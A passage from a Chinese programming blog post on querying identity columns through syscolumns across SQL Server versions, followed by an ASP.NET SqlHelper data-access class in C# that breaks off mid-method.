MS-SQL2005以上的版本解决Syscolumn表中数据不能修改

例如:

在MSSQL2000里面可以获取到相应的数据

获取TrainManage表中的TrainId字段

String.Format(“Select name From Syscolumns Where id = (Select id From sysobjects Where name='{0}’) And autoval Is Not Null”, _TableName)

但是在MSSQL2005以上的版本没有该条记录的数据

解决方案:

String.Format(“Select top 1 name From Syscolumns Where id = (Select id From sysobjects Where name='{0}’) And xtype = 127 “, _TableName)

为什么要这么做呢,而不通过获取某个表的字段名字就行呢。

因为这个是common文件,其他的文件也要调用这个sql语句了

,考虑到这点。所以现在只想到这个了,其他的还没有想到,如果有更好的,希望您能分享一下,如果有错误请批评指出。

Asp.Net数据库帮助类SQLHelper.cs


using System;
using System.Data;
using System.Xml;
using System.Data.SqlClient;
using System.Collections;
using System.Configuration;

namespace AcrossDB.Utils
{
    /// <summary>
    ///微软的SqlHelper3.0 
    /// </summary>
    public sealed class SqlHelper
    {
        #region 私有方法,属性和构造函数
        public static readonly string ConnectionString = ConfigurationManager.AppSettings["ConnectionString"].ToString();
        public static readonly string ConnectionString2 = ConfigurationManager.AppSettings["ConnectionString2"].ToString();
        //public static readonly string userconnection = ConfigurationManager.AppSettings["SqlConnUser"].ToString();
        //public static readonly string siteconnection = ConfigurationManager.AppSettings["SqlConnSite"].ToString();
        
        private SqlHelper() { }

        /// <summary>
        ///添加参数
        /// </summary>
        /// <param name="command">SqlCommand对象</param>
        /// <param name="commandParameters">SqlParamete参数数组</param>
        private static void AttachParameters(SqlCommand command, SqlParameter[] commandParameters)
        {
            //RockeyMssage.ValidationRk();
            //Timer.EmptySessionFile();
            if (command == null) throw new ArgumentNullException("command");
            if (commandParameters != null)
            {
                foreach (SqlParameter p in commandParameters)
                {
                    if (p != null)
                    {
                        // Check for derived output value with no value assigned
                        if ((p.Direction == ParameterDirection.InputOutput ||
                            p.Direction == ParameterDirection.Input) &&
                            (p.Value == null))
                        {
                            p.Value = DBNull.Value;
                        }
                        command.Parameters.Add(p);
                    }
                }
            }
        }

        /// <summary>
        /// 分配参数值
        /// </summary>
        /// <param name="commandParameters">要分配参数值的参数数组</param>
        /// <param name="dataRow">存储参数值的DataRow</param>
        private static void AssignParameterValues(SqlParameter[] commandParameters, DataRow dataRow)
        {
            if ((commandParameters == null) || (dataRow == null))
            {
                return;
            }

            int i = 0;
            foreach (SqlParameter commandParameter in commandParameters)
            {
                if (commandParameter.ParameterName == null ||
                    commandParameter.ParameterName.Length <= 1)
                    throw new Exception(
                        string.Format(
                            "Please provide a valid parameter name on the parameter #{0}, the ParameterName property has the following value: '{1}'.",
                            i, commandParameter.ParameterName));
                if (dataRow.Table.Columns.IndexOf(commandParameter.ParameterName.Substring(1)) != -1)
                    commandParameter.Value = dataRow[commandParameter.ParameterName.Substring(1)];
                i++;
            }
        }

        /// <summary>
        ///分配参数值
        /// </summary>
        /// <param name="commandParameters">要分配参数值的参数数组</param>
        /// <param name="parameterValues">存储参数值的object对象数组</param>
        private static void AssignParameterValues(SqlParameter[] commandParameters, object[] parameterValues)
        {
            if ((commandParameters == null) || (parameterValues == null))
            {
                return;
            }
            if (commandParameters.Length != parameterValues.Length)
            {
                throw new ArgumentException("Parameter count does not match Parameter Value count.");
            }

            for (int i = 0, j = commandParameters.Length; i < j; i++)
            {
                if (parameterValues[i] is IDbDataParameter)
                {
                    IDbDataParameter paramInstance = (IDbDataParameter)parameterValues[i];
                    if (paramInstance.Value == null)
                    {
                        commandParameters[i].Value = DBNull.Value;
                    }
                    else
                    {
                        commandParameters[i].Value = paramInstance.Value;
                    }
                }
                else if (parameterValues[i] == null)
                {
                    commandParameters[i].Value = DBNull.Value;
                }
                else
                {
                    commandParameters[i].Value = parameterValues[i];
                }
            }
        }

        /// <summary>
        /// 打开(如果需要),分配连接,事务,command类型和参数给一个commandconnection, transaction, command type and parameters 
        /// </summary>
        /// <param name="command">预准备SqlCommand对象</param>
        /// <param name="connection">连接</param>
        /// <param name="transaction">事务或null</param>
        /// <param name="commandType">命令类型,文本,存储过程等</param>
        /// <param name="commandText">存储过程或命令的文本</param>
        /// <param name="commandParameters">命令参数或为null</param>
        /// <param name="mustCloseConnection"><c>true</c> 是否必须关闭连接</param>
        private static void PrepareCommand(SqlCommand command, SqlConnection connection, SqlTransaction transaction, CommandType commandType, string commandText, SqlParameter[] commandParameters, out bool mustCloseConnection)
        {
            if (command == null) throw new ArgumentNullException("command");
            if (commandText == null || commandText.Length == 0) throw new ArgumentNullException("commandText");
            if (connection.State != ConnectionState.Open)
            {
                mustCloseConnection = true;
                connection.Open();
            }
            else
            {
                mustCloseConnection = false;
            }
            command.Connection = connection;
            command.CommandText = commandText;
            if (transaction != null)
            {
                if (transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
                command.Transaction = transaction;
            }
            command.CommandType = commandType;

            if (commandParameters != null)
            {
                AttachParameters(command, commandParameters);
            }
            return;
        }

        #endregion 私有方法和构造函数

        #region ExecuteNonQuery

        /// <summary>
        /// 执行SqlCommand 
        /// </summary>
        /// <remarks>
        /// 例子:
        ///  int result = ExecuteNonQuery(connString, CommandType.StoredProcedure, "PublishOrders");
        /// </remarks>
        /// <param name="connectionString">连接字符串</param>
        /// <param name="commandType">命令类型</param>
        /// <param name="commandText">存储过程或sql命令文本</param>
        /// <returns>受影响的行数</returns>
        public static int ExecuteNonQuery(string connectionString, CommandType commandType, string commandText)
        {
            return ExecuteNonQuery(connectionString, commandType, commandText, (SqlParameter[])null);
        }
        public static int ExecuteNonQuery(CommandType commandType, string commandText)
        {
            return ExecuteNonQuery(ConnectionString, commandType, commandText);
        }
        public static int ExecuteNonQuery(CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            return ExecuteNonQuery(ConnectionString, commandType, commandText, commandParameters);
        }
        /// <summary>
        ///  执行SqlCommand 
        /// </summary>
        /// <remarks>
        /// 例子.:  
        ///  int result = ExecuteNonQuery(connString, CommandType.StoredProcedure, "PublishOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connectionString">连接字符串</param>
        /// <param name="commandType">命令类型</param>
        /// <param name="commandText">存储过程或sql命令文本</param>
        /// <param name="commandParameters">命令参数</param>
        /// <returns>受影响的行数</returns>
        public static int ExecuteNonQuery(string connectionString, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            using (SqlConnection connection = new SqlConnection(connectionString))
            {
                connection.Open();
                return ExecuteNonQuery(connection, commandType, commandText, commandParameters);
            }
        }

        /// <summary>
        /// 执行SqlCommand
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子:  
        ///  int result = ExecuteNonQuery(connString, "PublishOrders", 24, 36);
        /// </remarks>
        /// <param name="connectionString">连接字符串</param>
        /// <param name="spName">The name of the stored prcedure</param>
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        /// <returns>受影响的行数</returns>
        public static int ExecuteNonQuery(string connectionString, string spName, params object[] parameterValues)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connectionString, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteNonQuery(connectionString, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteNonQuery(connectionString, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns no resultset and takes no parameters) against the provided SqlConnection. 
        /// </summary>
        /// <remarks>
        /// 例子:  
        ///  int result = ExecuteNonQuery(conn, CommandType.StoredProcedure, "PublishOrders");
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="commandType">命令类型</param>
        /// <param name="commandText">存储过程或sql命令文本</param>
        /// <returns>受影响的行数</returns>
        public static int ExecuteNonQuery(SqlConnection connection, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteNonQuery(connection, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// 使用参数执行没有过返回结果的SqlCommand命令对象Execute a SqlCommand (that returns no resultset) against the specified SqlConnection 
        /// </summary>
        /// <remarks>
        /// 例子:  
        ///  int result = ExecuteNonQuery(conn, CommandType.StoredProcedure, "PublishOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="commandType">命令类型</param>
        /// <param name="commandText">存储过程或sql命令文本</param>
        /// <param name="commandParameters">命令参数</param>
        /// <returns>受影响的行数</returns>
        public static int ExecuteNonQuery(SqlConnection connection, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (connection == null) throw new ArgumentNullException("connection");

            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();
            bool mustCloseConnection = false;
            PrepareCommand(cmd, connection, (SqlTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
            int retval = cmd.ExecuteNonQuery();
            cmd.Parameters.Clear();
            if (mustCloseConnection)
                connection.Close();
            return retval;
        }

        /// <summary>
        /// 使用提供的参数执行没有返回结果的存储过程
        /// </summary>
        /// <remarks>
        /// 些方法不能获取存储过程的输出参数和返回值
        /// 
        /// 例子:  
        ///  int result = ExecuteNonQuery(conn, "PublishOrders", 24, 36);
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="parameterValues">分配对象数组给存储过程作为输入参数</param>
        /// <returns>受影响的行数</returns>
        public static int ExecuteNonQuery(SqlConnection connection, string spName, params object[] parameterValues)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteNonQuery(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteNonQuery(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// 执行无参数,无返回结果集的SqlCommand命令
        /// </summary>
        /// <remarks>
        /// 例子:  
        ///  int result = ExecuteNonQuery(trans, CommandType.StoredProcedure, "PublishOrders");
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="commandType">命令类型</param>
        /// <param name="commandText">存储过程或sql命令文本</param>
        /// <returns>受影响的行数</returns>
        public static int ExecuteNonQuery(SqlTransaction transaction, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteNonQuery(transaction, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// 用提供的参数执行无返回结果集的SqlCommand命令
        /// </summary>
        /// <remarks>
        /// 例子:  
        ///  int result = ExecuteNonQuery(trans, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="commandType">命令类型</param>
        /// <param name="commandText">存储过程或sql命令文本</param>
        /// <param name="commandParameters">命令参数</param>
        /// <returns>受影响的行数</returns>
        public static int ExecuteNonQuery(SqlTransaction transaction, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");

            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();
            bool mustCloseConnection = false;
            PrepareCommand(cmd, transaction.Connection, transaction, commandType, commandText, commandParameters, out mustCloseConnection);

            // Finally, execute the command
            int retval = cmd.ExecuteNonQuery();

            // Detach the SqlParameters from the command object, so they can be used again
            cmd.Parameters.Clear();
            return retval;
        }

        /// <summary>
        ///使用事务执行无返回结果集的SqlCommand命令
        /// </summary>
        /// <remarks>
        /// 这个例子不能访问存储过程的输出参数和返回值
        /// 
        /// 例子:  
        ///  int result = ExecuteNonQuery(conn, trans, "PublishOrders", 24, 36);
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="spName">存储过程名字</param>
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        /// <returns>受影响的行数</returns>
        public static int ExecuteNonQuery(SqlTransaction transaction, string spName, params object[] parameterValues)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteNonQuery(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteNonQuery(transaction, CommandType.StoredProcedure, spName);
            }
        }

        #endregion ExecuteNonQuery

        #region ExecuteDataset

        /// <summary>
        /// 执行SqlCommand,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子:   
        ///  DataSet ds = ExecuteDataset(connString, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="connectionString">合法的连接字符串</param>
        /// <param name="commandType">命令类型(stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名或sql的命令</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDataset(string connectionString, CommandType commandType, string commandText)
        {
            return ExecuteDataset(connectionString, commandType, commandText, (SqlParameter[])null);
        }
        public static DataSet ExecuteDataset(CommandType commandType, string commandText)
        {
            return ExecuteDataset(ConnectionString, commandType, commandText);
        }
        public static DataSet ExecuteDataset(CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            return ExecuteDataset(ConnectionString, commandType, commandText, commandParameters);
        }
        /// <summary>
        /// 执行SqlCommand,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataSet ds = ExecuteDataset(connString, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="commandParameters">SqlParamter数组</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDataset(string connectionString, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");

            // Create & open a SqlConnection, and dispose of it after we are done
            using (SqlConnection connection = new SqlConnection(connectionString))
            {
                connection.Open();

                // Call the overload that takes a connection in place of the connection string
                return ExecuteDataset(connection, commandType, commandText, commandParameters);
            }
        }

        /// <summary>
        ///    调用存储过程,返回数据集体
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  DataSet ds = ExecuteDataset(connString, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程名字</param>
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDataset(string connectionString, string spName, params object[] parameterValues)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connectionString, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteDataset(connectionString, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteDataset(connectionString, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset and takes no parameters) against the provided SqlConnection. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataSet ds = ExecuteDataset(conn, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDataset(SqlConnection connection, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteDataset(connection, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset) against the specified SqlConnection 
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataSet ds = ExecuteDataset(conn, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="commandParameters">SqlParamter数组</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDataset(SqlConnection connection, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (connection == null) throw new ArgumentNullException("connection");

            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();
            bool mustCloseConnection = false;
            PrepareCommand(cmd, connection, (SqlTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);

            // Create the DataAdapter & DataSet
            using (SqlDataAdapter da = new SqlDataAdapter(cmd))
            {
                DataSet ds = new DataSet();

                // Fill the DataSet using default values for DataTable names, etc
                da.Fill(ds);

                // Detach the SqlParameters from the command object, so they can be used again
                cmd.Parameters.Clear();

                if (mustCloseConnection)
                    connection.Close();

                // Return the dataset
                return ds;
            }
        }

        /// <summary>
        ///调用存储过程,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataSet ds = ExecuteDataset(conn, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程名字</param>
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDataset(SqlConnection connection, string spName, params object[] parameterValues)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteDataset(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteDataset(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        ///通过事务执行命令对象,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataSet ds = ExecuteDataset(trans, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDataset(SqlTransaction transaction, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteDataset(transaction, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// 通过事务执行命令对象,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataSet ds = ExecuteDataset(trans, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="commandParameters">SqlParamter数组</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDataset(SqlTransaction transaction, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");

            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();
            bool mustCloseConnection = false;
            PrepareCommand(cmd, transaction.Connection, transaction, commandType, commandText, commandParameters, out mustCloseConnection);

            // Create the DataAdapter & DataSet
            using (SqlDataAdapter da = new SqlDataAdapter(cmd))
            {
                DataSet ds = new DataSet();

                // Fill the DataSet using default values for DataTable names, etc
                da.Fill(ds);

                // Detach the SqlParameters from the command object, so they can be used again
                cmd.Parameters.Clear();

                // Return the dataset
                return ds;
            }
        }

        /// <summary>
        /// 利用事务,通过SqlCommand执行存储过程 
        /// </summary>
        /// <remarks>

        /// 例子: 
        ///  DataSet ds = ExecuteDataset(trans, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="spName">存储过程名字</param>
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        /// <returns>数据集</returns>
        public static DataSet ExecuteDataset(SqlTransaction transaction, string spName, params object[] parameterValues)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteDataset(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteDataset(transaction, CommandType.StoredProcedure, spName);
            }
        }

        #endregion ExecuteDataset

        #region ExecuteDataTable

        /// <summary>
        /// 执行SqlCommand,返回数据表
        /// </summary>
        /// <remarks>
        /// 例子:   
        ///  DataTable dt = ExecuteDataTable(connString, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="connectionString">合法的连接字符串</param>
        /// <param name="commandType">命令类型(stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名或sql的命令</param>
        /// <returns>数据集</returns>
        public static DataTable ExecuteDataTable(string connectionString, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteDataTable(connectionString, commandType, commandText, (SqlParameter[])null);
        }
        public static DataTable ExecuteDataTable(CommandType commandType, string commandText)
        {
            return ExecuteDataTable(ConnectionString, commandType, commandText);
        }
        public static DataTable ExecuteDataTable(CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            return ExecuteDataTable(ConnectionString, commandType, commandText, commandParameters);
        }
        /// <summary>
        /// 执行SqlCommand,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataTable dt = ExecuteDataTable(connString, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="commandParameters">SqlParamter数组</param>
        /// <returns>数据集</returns>
        public static DataTable ExecuteDataTable(string connectionString, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");

            // Create & open a SqlConnection, and dispose of it after we are done
            using (SqlConnection connection = new SqlConnection(connectionString))
            {
                connection.Open();

                // Call the overload that takes a connection in place of the connection string
                return ExecuteDataTable(connection, commandType, commandText, commandParameters);
            }
        }

        /// <summary>
        ///    调用存储过程,返回数据集体
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  DataTable dt = ExecuteDataTable(connString, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程名字</param>
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        /// <returns>数据集</returns>
        public static DataTable ExecuteDataTable(string connectionString, string spName, params object[] parameterValues)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connectionString, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteDataTable(connectionString, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteDataTable(connectionString, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset and takes no parameters) against the provided SqlConnection. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataTable dt = ExecuteDataTable(conn, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <returns>数据集</returns>
        public static DataTable ExecuteDataTable(SqlConnection connection, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteDataTable(connection, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// 返回DataTable
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataTalbe dt = ExecuteDataTable(conn, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="commandParameters">SqlParamter数组</param>
        /// <returns>数据集</returns>
        public static DataTable ExecuteDataTable(SqlConnection connection, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (connection == null) throw new ArgumentNullException("connection");

            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();
            bool mustCloseConnection = false;
            PrepareCommand(cmd, connection, (SqlTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);

            // Create the DataAdapter & DataSet
            using (SqlDataAdapter da = new SqlDataAdapter(cmd))
            {
                DataTable dt = new DataTable();
                // Fill the DataSet using default values for DataTable names, etc
                da.Fill(dt);

                // Detach the SqlParameters from the command object, so they can be used again
                cmd.Parameters.Clear();

                if (mustCloseConnection)
                    connection.Close();

                // Return the dataset
                return dt;
            }
        }

        /// <summary>
        ///调用存储过程,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataTable dt = ExecuteDataTable(conn, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="spName">存储过程名字</param>
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        /// <returns>数据集</returns>
        public static DataTable ExecuteDataTable(SqlConnection connection, string spName, params object[] parameterValues)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteDataTable(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteDataTable(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        ///通过事务执行命令对象,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataTable dt = ExecuteDataTable(trans, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <returns>数据集</returns>
        public static DataTable ExecuteDataTable(SqlTransaction transaction, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
